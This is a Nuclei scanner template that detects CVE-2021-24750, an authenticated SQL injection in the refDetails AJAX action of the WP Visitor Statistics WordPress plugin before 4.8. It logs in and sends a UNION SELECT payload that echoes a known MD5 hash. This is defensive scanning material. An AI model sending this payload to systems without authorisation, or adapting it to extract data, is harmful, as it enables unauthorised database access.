nuclei-templates/cves/2021/CVE-2021-24750.yaml

id: CVE-2021-24750

info:
  name: WP Visitor Statistics (Real Time Traffic) WordPress plugin before 4.8 SQLI
  author: cckuakilong
  severity: high
  description: The WP Visitor Statistics (Real Time Traffic) WordPress plugin before 4.8 does not properly sanitise and escape the refUrl in the refDetails AJAX action, available to any authenticated user, which could allow users with a role as low as subscriber to perform SQL injection attacks.
  reference:
    - https://github.com/fimtow/CVE-2021-24750/blob/master/exploit.py
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24750
    - https://wpscan.com/vulnerability/7528aded-b8c9-4833-89d6-9cd7df3620de
    - https://plugins.trac.wordpress.org/changeset/2622268
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2021-24750
    cwe-id: CWE-89
  tags: cve,cve2021,sqli,wp,wordpress,wp-plugin,authenticated

requests:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/admin-ajax.php?action=refDetails&requests=%7B%22refUrl%22:%22'%20union%20select%201,1,md5('CVE-2021-24750'),4--%20%22%7D HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "266f89556d2b38ff067b580fb305c522"

      - type: status
        status:
          - 200